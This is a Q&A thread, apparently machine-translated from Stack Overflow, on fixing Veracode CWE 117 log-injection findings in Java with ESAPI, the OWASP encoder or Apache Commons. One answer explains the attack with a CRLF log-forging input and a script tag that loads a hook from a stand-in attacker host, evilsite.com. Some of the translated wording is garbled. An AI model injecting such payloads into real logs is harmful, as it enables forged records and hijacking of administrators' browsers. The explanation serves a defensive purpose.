How to fix Veracode CWE 117 (inappropriate output neutralization for logs)

Question

There is a global @ExceptionHandler(Exception.class) Spring method that registers an exception:

 @ExceptionHandler(Exception.class) void handleException(Exception ex) { logger.error("Simple error message", ex); ... 

Verification Veracode says this log has Improper Output Neutralization for Logs and suggests using an ESAPI logger. Is there any way to fix this vulnerability without changing the registrar to ESAPI? This is the only place in the code where I ran into this problem, and I'm trying to figure out how to fix it with minimal changes. Maybe ESAPI has some methods that I have not noticed?

PS Current Logger - Log4j on top of slf4j

UPD: In the end, I used the ESAPI logger. I thought that he would not use my default logging service, but I was mistaken and he just used my slf4j logger interface with the appropriate configuration.

 private static final Logger logger = ESAPI.getLogger(MyClass.class); ... logger.error(null, "Simple error message", ex); 

ESAPI has the extension log4j logger and logger factory. It can be configured for use in ESAPI.properties. For instance:

 ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory 

Answer 1

Is there any way to fix this vulnerability without changing the logger in ESAPI?

In short, yes.

TL; DR:

First understand the gravity of the error. The main problem is the falsification of registration data. Say you had a code like this:

 log.error( transactionId + " for user " + username + " was unsuccessful." 

If any variable is under user control, they can enter false registration instructions using inputs like \r\n for user foobar was successful\rn , which allows them to falsify the log and cover their tracks. (Well, in this far-fetched case, just make it a little harder to see what happened.)

The second method of attack is rather a movement in chess. Many logs are processed in HTML format for viewing in another program. In this example, we will pretend that the logs are designed to view HTML files in a browser. Now we enter <script src="https://evilsite.com/hook.js" type="text/javascript"></script> , and you hook the browser using the development framework, which will most likely be executed as the server administrator ... because he doubts the CEO is going to read the magazine. Now a real hack can begin.

Protection:

A simple defense is to make sure that all log statements with userinput clear the characters "\ n" and "\ r" with something obvious, like "֎", or you can do what ESAPI does and escapes with underline . It really doesn't matter as long as it's consistent, just keep in mind not to use character sets that would confuse you in the log. Something like userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

It’s also useful for me to make sure that the log formats are elegantly specified ... this means that you make sure that you have a strict standard for which the rules of the logs should look and for their formatting, so that it is easier to catch a malicious user, All programmers should file for party and follow the format!

To protect against an HTML script, I would use the [OWASP encoder] project [1]

Regarding the implementation of ESAPI, this is a very cue-tested library, but in a nutshell it is basically what we do. See code:

 /** * Log the message after optionally encoding any special characters that might be dangerous when viewed * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log * injection attacks. This logs all the supplied parameters plus the user ID, user source IP, a logging * specific session ID, and the current date/time. * * It will only log the message if the current logging level is enabled, otherwise it will * discard the message. * * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL) * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE) * @param message the message to be logged * @param throwable the {@code Throwable} from which to generate an exception stack trace. */ private void log(Level level, EventType type, String message, Throwable throwable) { // Check to see if we need to log. if (!isEnabledFor(level)) { return; } // ensure there something to log if (message == null) { message = ""; } // ensure no CRLF injection into logs for forging records String clean = message.replace('\n', '_').replace('\r', '_'); if (ESAPI.securityConfiguration().getLogEncodingRequired()) { clean = ESAPI.encoder().encodeForHTML(message); if (!message.equals(clean)) { clean += " (Encoded)"; } } // log server, port, app name, module name -- server:80/app/module StringBuilder appInfo = new StringBuilder(); if (ESAPI.currentRequest() != null && logServerIP) { appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort()); } if (logAppName) { appInfo.append("/").append(applicationName); } appInfo.append("/").append(getName()); //get the type text if it exists String typeInfo = ""; if (type != null) { typeInfo += type + " "; } // log the message // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268 // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable); } 

See lines 398-453. This is all that ESAPI allows. I would also suggest copying unit tests.

[DISCLAIMER]: I am leading the ESAPI project.

[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project and make sure that your inputs are correctly encoded when entering the logging operators - each bit is the same as when you send the request back to the user.

Answer 2

Although I’m a little late, but I think that this will help those who do not want to use the ESAPI library and encounter a problem only for the exception handler class

Use the Apache Commons Library

 import org.apache.commons.lang3.exception.ExceptionUtils; LOG.error(ExceptionUtils.getStackTrace(ex));